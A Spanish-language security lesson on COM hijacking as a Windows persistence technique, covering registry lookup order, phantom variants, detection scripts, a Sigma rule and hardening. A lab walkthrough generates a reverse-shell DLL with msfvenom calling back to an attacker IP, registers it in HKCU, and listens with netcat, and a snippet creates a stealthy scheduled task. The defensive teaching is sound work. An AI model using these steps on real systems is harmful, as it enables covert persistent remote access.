COM hijacking para persistencia: qué es, cómo se explota y cómo se corrige

Windows se construyó sobre un sistema de componentes llamado COM (Component Object Model). Cada vez que haces clic derecho en un archivo, que el Explorador de Windows renderiza una miniatura, que una aplicación de Office abre un documento incrustado, o que una tarea programada se ejecuta a través de su interfaz COM, el sistema busca en el registro de Windows la información necesaria para localizar y cargar el componente. Esta búsqueda sigue un orden predecible, y esa previsibilidad es exactamente lo que un atacante puede explotar.

COM hijacking es una técnica de persistencia que consiste en registrar una DLL maliciosa en una clave del registro que el sistema consulta antes que la clave legítima. Cuando una aplicación o el propio sistema operativo instancia el objeto COM, carga la DLL del atacante en lugar de la original. A diferencia de otros mecanismos de persistencia (Run keys, tareas programadas, servicios), COM hijacking opera de forma implícita: no hay una entrada obvia que diga "ejecutar este programa al iniciar". Es la cuarta lección de la Tanda 10.

Esta lección tiene fines educativos y defensivos. Comprender COM hijacking permite detectar persistencia avanzada que otras herramientas pasan por alto. Toda práctica debe realizarse en entornos de laboratorio autorizados.

Qué es COM y cómo funciona el registro#

COM (Component Object Model) es una especificación binaria de Microsoft que permite a los componentes de software comunicarse entre sí independientemente del lenguaje en que fueron escritos. Cada componente COM se identifica por un CLSID (Class Identifier): un GUID único de 128 bits que se registra en el registro de Windows.

Cuando una aplicación quiere usar un componente COM, llama a CoCreateInstance pasando el CLSID. Windows entonces busca la información de ese CLSID en el registro, siguiendo un orden específico:

1. HKEY_CURRENT_USER\Software\Classes\CLSID\ (HKCU) — claves por usuario.
2. HKEY_LOCAL_MACHINE\Software\Classes\CLSID\ (HKLM) — claves de sistema.

Este orden es crucial: Windows busca primero en HKCU y, si encuentra el CLSID ahí, lo usa sin consultar HKLM. HKCU es escribible por el usuario actual sin necesidad de privilegios de administrador. Ahí está el vector de ataque.

Dentro de la clave del CLSID, la subclave más relevante es InprocServer32, que contiene la ruta a la DLL que implementa el componente COM:

HKCU\Software\Classes\CLSID\{CLSID-del-objeto}\InprocServer32
    (Default) = C:\ruta\a\componente.dll
    ThreadingModel = Both

Si el atacante crea esta entrada en HKCU apuntando a su DLL maliciosa, la próxima vez que cualquier aplicación intente instanciar ese CLSID, cargará la DLL del atacante.

Por qué ocurre: la causa raíz#

La vulnerabilidad es arquitectónica: COM fue diseñado en la década de 1990, cuando la prioridad era la flexibilidad de configuración por usuario, no la seguridad.

Búsqueda HKCU antes de HKLM. Windows prioriza las configuraciones del usuario sobre las del sistema. Esto permite a los usuarios personalizar componentes COM sin afectar al resto del sistema, pero también permite a un atacante con acceso de usuario sobrescribir la resolución de cualquier CLSID.

No se verifica la integridad de la DLL. Cuando COM resuelve un CLSID y encuentra la ruta de la DLL, la carga sin verificar su firma digital ni compararla con la DLL original registrada en HKLM.

Miles de CLSID disponibles. Un sistema Windows típico tiene miles de CLSID registrados. Muchos de ellos son instanciados regularmente por procesos del sistema (Explorer, tareas programadas, servicios). El atacante tiene una superficie enorme para elegir qué CLSID secuestrar.

Persistencia silenciosa. A diferencia de las Run keys o las tareas programadas, que aparecen en herramientas como Autoruns, un COM hijacking en un CLSID poco conocido puede pasar desapercibido durante mucho tiempo.

Ejemplo de búsqueda COM:

1. App llama CoCreateInstance({AB8902B4-09CA-...})
2. Windows busca HKCU\...\CLSID\{AB8902B4-...}\InprocServer32
   -> ENCONTRADO: C:\Users\user\malware.dll   <-- HIJACK
3. Windows carga malware.dll en el proceso de la aplicación
4. Nunca llega a consultar HKLM (donde está la DLL legítima)

Tipos y variantes#

Phantom COM hijacking#

Una variante especialmente furtiva es el phantom COM hijacking. El atacante busca CLSID que están registrados en HKLM pero cuya DLL no existe en disco (quizás porque fue desinstalada o porque pertenece a software que ya no está). Al crear el registro en HKCU con su propia DLL, el atacante consigue que el componente COM "funcione" donde antes fallaba silenciosamente. Esto es aún más difícil de detectar porque no hay DLL legítima con la cual comparar.

Scheduled Tasks via COM#

En lugar de usar schtasks.exe (que genera Event ID 4698 y es detectado por la mayoría de EDR), un atacante puede crear tareas programadas directamente a través de la interfaz COM ITaskService. Esto es más silencioso porque no invoca el binario de línea de comandos y genera menos telemetría.

# Crear tarea programada vía COM (conceptual)
$service = New-Object -ComObject Schedule.Service
$service.Connect()
$folder = $service.GetFolder("\")
$taskDef = $service.NewTask(0)
$taskDef.RegistrationInfo.Description = "System Maintenance"
$trigger = $taskDef.Triggers.Create(2)  # Daily trigger
$action = $taskDef.Actions.Create(0)    # Execute action
$action.Path = "C:\Windows\Temp\payload.exe"
$folder.RegisterTaskDefinition("Maintenance",
    $taskDef, 6, "", "", 3)

Cuándo es explotable#

COM hijacking es explotable cuando se cumplen estas condiciones:

• El atacante tiene ejecución de código como usuario del sistema. No necesita privilegios de administrador para la variante HKCU.
• Existe un CLSID que se instancia regularmente. Para que la persistencia funcione, algún proceso debe instanciar el CLSID secuestrado. Los mejores candidatos son CLSID que se activan al iniciar sesión, al abrir el Explorador, o mediante tareas programadas.
• La DLL del atacante puede cargarse sin romper la funcionalidad. Si la aplicación que instancia el CLSID espera funciones específicas de la DLL y la DLL del atacante no las exporta, la aplicación puede fallar y alertar al usuario.

Los CLSID más usados para COM hijacking incluyen:

• CLSID instanciados por explorer.exe al iniciar sesión (shell extensions, thumbnail handlers).
• CLSID de TreatAs que redirigen a otros componentes.
• CLSID de componentes de Office que se cargan al abrir documentos.
• CLSID asociados a menús contextuales del Explorador de Windows.

Cómo se detecta#

Para detectar COM hijacking con PowerShell:

# Buscar CLSID en HKCU que también existen en HKLM
# (posible hijacking)
$hkcuCLSIDs = Get-ChildItem "HKCU:\Software\Classes\CLSID" -ErrorAction SilentlyContinue
foreach ($clsid in $hkcuCLSIDs) {
    $hklmPath = "HKLM:\Software\Classes\CLSID\$($clsid.PSChildName)"
    if (Test-Path $hklmPath) {
        $hkcuDll = (Get-ItemProperty "$($clsid.PSPath)\InprocServer32" -ErrorAction SilentlyContinue).'(Default)'
        $hklmDll = (Get-ItemProperty "$hklmPath\InprocServer32" -ErrorAction SilentlyContinue).'(Default)'
        if ($hkcuDll -and $hklmDll -and ($hkcuDll -ne $hklmDll)) {
            Write-Warning "COM Hijack: $($clsid.PSChildName)"
            Write-Warning "  HKCU: $hkcuDll"
            Write-Warning "  HKLM: $hklmDll"
        }
    }
}

Regla Sigma para detectar modificaciones en InprocServer32:

title: COM Object Hijacking via InprocServer32 Modification
logsource:
    product: windows
    category: registry_set
detection:
    selection:
        TargetObject|contains:
            - '\Software\Classes\CLSID\'
        TargetObject|endswith:
            - '\InprocServer32\(Default)'
    filter_installer:
        Image|endswith:
            - '\msiexec.exe'
            - '\setup.exe'
    condition: selection and not filter_installer
level: high
tags:
    - attack.persistence
    - attack.t1546.015

Explotación paso a paso en un laboratorio#

Paso 1: enumerar CLSID candidatos#

Conecta al laboratorio y busca CLSID que se instancian frecuentemente:

evil-winrm -i IP_DEL_LAB -u usuario -p contraseña

Enumera CLSID con Process Monitor o mediante el registro:

# Buscar CLSID instanciados por explorer.exe
# que existen en HKLM pero NO en HKCU (candidatos a hijack)
$hklmCLSIDs = Get-ChildItem "HKLM:\Software\Classes\CLSID" |
    Where-Object {
        Test-Path "$($_.PSPath)\InprocServer32"
    } | Select-Object -First 50
foreach ($c in $hklmCLSIDs) {
    $hkcuPath = "HKCU:\Software\Classes\CLSID\$($c.PSChildName)"
    if (-not (Test-Path $hkcuPath)) {
        $dll = (Get-ItemProperty "$($c.PSPath)\InprocServer32" -ErrorAction SilentlyContinue).'(Default)'
        if ($dll) {
            Write-Output "$($c.PSChildName) -> $dll"
        }
    }
}

Paso 2: preparar la DLL maliciosa#

En la máquina atacante, genera una DLL:

msfvenom -p windows/x64/shell_reverse_tcp \
    LHOST=IP_ATACANTE LPORT=4444 \
    -f dll -o hijack.dll

Paso 3: registrar el COM hijack#

Transfiere la DLL y crea la entrada en el registro:

# Crear la estructura de registro para el hijack
$clsid = "{CLSID-seleccionado}"
$regPath = "HKCU:\Software\Classes\CLSID\$clsid\InprocServer32"

New-Item -Path $regPath -Force
Set-ItemProperty -Path $regPath -Name "(Default)" `
    -Value "C:\Users\$env:USERNAME\hijack.dll"
Set-ItemProperty -Path $regPath -Name "ThreadingModel" `
    -Value "Both"

Paso 4: activar el hijack#

Cierra y abre sesión, o fuerza la instanciación del CLSID:

# Forzar instanciación del objeto COM
[System.Activator]::CreateInstance(
    [Type]::GetTypeFromCLSID("CLSID-seleccionado")
)

En la máquina atacante:

nc -lvnp 4444

Paso 5: verificar persistencia#

Reinicia sesión y confirma que el código se ejecuta nuevamente al instanciar el CLSID.

Qué puede lograr un atacante#

Cómo se corrige#

Monitorización del registro#

• Sysmon Events 12 y 13. Configurar Sysmon para registrar todas las modificaciones en claves de registro bajo \Software\Classes\CLSID\. Cualquier creación de InprocServer32 en HKCU que apunte a una DLL fuera de directorios del sistema es sospechosa.
• Auditoría nativa de registro. Windows puede auditar accesos al registro mediante SACLs. Configurar auditoría en HKLM\Software\Classes\CLSID para detectar creación de claves inesperadas.

Hardening#

• Eliminar CLSID huérfanos. Auditar y eliminar entradas CLSID en HKLM cuya DLL ya no existe en disco. Estos phantom CLSID son candidatos ideales para hijacking.
• Restringir permisos de HKCU\Software\Classes\CLSID. En entornos de alta seguridad, usar GPO para restringir la escritura en esta clave, impidiendo que los usuarios registren componentes COM.
• WDAC para DLL. Windows Defender Application Control puede restringir qué DLL se permiten cargar, bloqueando DLL no firmadas incluso cuando se cargan vía COM.

Detección proactiva#

• Baseline de CLSID en HKCU. Establecer un baseline de las entradas CLSID en HKCU para cada perfil de equipo. Cualquier nueva entrada fuera del baseline merece investigación.
• Comparación periódica HKCU vs HKLM. Ejecutar periódicamente un script que compare las entradas CLSID en ambas claves y alerte sobre discrepancias.
• Autoruns con hash verification. Sysinternals Autoruns muestra entradas COM e identifica DLL no firmadas. Ejecutarlo periódicamente como parte de la auditoría.

Errores comunes al defenderse#

• No monitorizar HKCU. La mayoría de auditorías se centran en HKLM y las Run keys. HKCU\Software\Classes\CLSID es un punto ciego frecuente.
• Confiar solo en Autoruns. Autoruns detecta muchos COM hijacks, pero no cubre phantom COM ni CLSID que no aparecen en sus categorías predefinidas.
• Ignorar las tareas programadas vía COM. Crear tareas vía la API COM de Task Scheduler genera menos telemetría que schtasks.exe. Si solo monitorizas la línea de comandos, las pierdes.
• No auditar software desinstalado. Software que se desinstala puede dejar CLSID huérfanos que son candidatos perfectos para phantom hijacking.
• Asumir que COM hijacking requiere administrador. La variante HKCU funciona con privilegios de usuario estándar, lo que la hace accesible para cualquier atacante con acceso al sistema.

Preguntas frecuentes#

¿COM hijacking funciona sin privilegios de administrador?#

Sí. La variante más común opera en HKCU, que es escribible por cualquier usuario. Solo las modificaciones en HKLM requieren privilegios de administrador. Esto hace que COM hijacking sea accesible incluso para un atacante con una cuenta de usuario limitada.

¿Qué diferencia hay entre COM hijacking y DLL hijacking?#

DLL hijacking abusa del orden de búsqueda de LoadLibrary en el sistema de archivos. COM hijacking abusa del orden de búsqueda del registro de Windows (HKCU antes que HKLM). Ambas resultan en la carga de una DLL maliciosa, pero el mecanismo de resolución es diferente.

¿Cómo encuentro CLSID buenos para hacer hijacking en un laboratorio?#

Usa Process Monitor con filtros para operaciones RegOpenKey que accedan a claves CLSID en HKCU con resultado NAME NOT FOUND seguido de éxito en HKLM. Esos CLSID se instancian regularmente y no tienen entrada en HKCU, lo que los hace candidatos ideales.

¿Las herramientas de autoruns detectan todos los COM hijacks?#

No. Sysinternals Autoruns cubre las categorías más conocidas, pero el universo de CLSID es enorme. Un atacante que elige un CLSID poco conocido puede evadir herramientas automáticas. La comparación sistemática HKCU vs HKLM es más exhaustiva.

¿COM hijacking sobrevive a actualizaciones de Windows?#

Sí, en la mayoría de casos. Las entradas de HKCU no se tocan durante las actualizaciones de Windows. La persistencia se mantiene mientras la clave de registro y la DLL existan, y mientras algún proceso instancie el CLSID secuestrado.

Resumen#

• COM hijacking abusa del orden de búsqueda del registro de Windows (HKCU antes que HKLM) para cargar una DLL maliciosa cuando se instancia un objeto COM.
• No requiere privilegios de administrador: la clave HKCU\Software\Classes\CLSID es escribible por cualquier usuario.
• Phantom COM hijacking es especialmente furtivo: registra DLL para CLSID que no tienen implementación en HKLM.
• Scheduled Tasks via COM permiten crear tareas programadas sin invocar schtasks.exe, generando menos telemetría.
• La detección requiere Sysmon Events 12/13 para modificaciones de registro, comparación periódica HKCU vs HKLM, y auditoría de DLL no firmadas cargadas vía COM.
• Autoruns es útil pero no suficiente: la comparación sistemática de CLSID y la auditoría de phantom COM son esenciales.

Fuentes y lecturas recomendadas#

• MITRE ATT&CK T1546.015 — Event Triggered Execution: Component Object Model Hijacking
• Microsoft — Component Object Model (COM)
• Microsoft — Registry Keys for COM Objects (CLSID)
• Sysinternals — Autoruns
• Elastic — Hunting for COM Object Hijacking
• BOHOPS — COM Object Hijacking Research